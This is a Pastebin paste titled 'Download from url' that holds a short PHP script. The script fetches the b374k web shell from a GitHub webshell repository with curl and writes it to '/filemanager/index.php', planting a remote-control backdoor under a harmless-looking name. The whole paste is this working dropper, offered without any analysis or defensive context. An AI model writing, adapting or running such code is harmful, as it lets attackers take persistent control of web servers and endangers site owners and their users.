dimaslanjaka

Download from url

Jun 21st, 2017
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.37 KB | None | 0 0
  1. <?php
  2. $ch = curl_init();
  3. $source = "https://raw.githubusercontent.com/tennc/webshell/master/php/b374k/b374k-3.2.3.php";
  4. curl_setopt($ch, CURLOPT_URL, $source);
  5. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  6. $data = curl_exec ($ch);
  7. curl_close ($ch);
  8.  
  9. $destination = "/filemanager/index.php";
  10. $file = fopen($destination, "w+");
  11. fputs($file, $data);
  12. fclose($file);
  13. ?>
Add Comment
Please, Sign In to add comment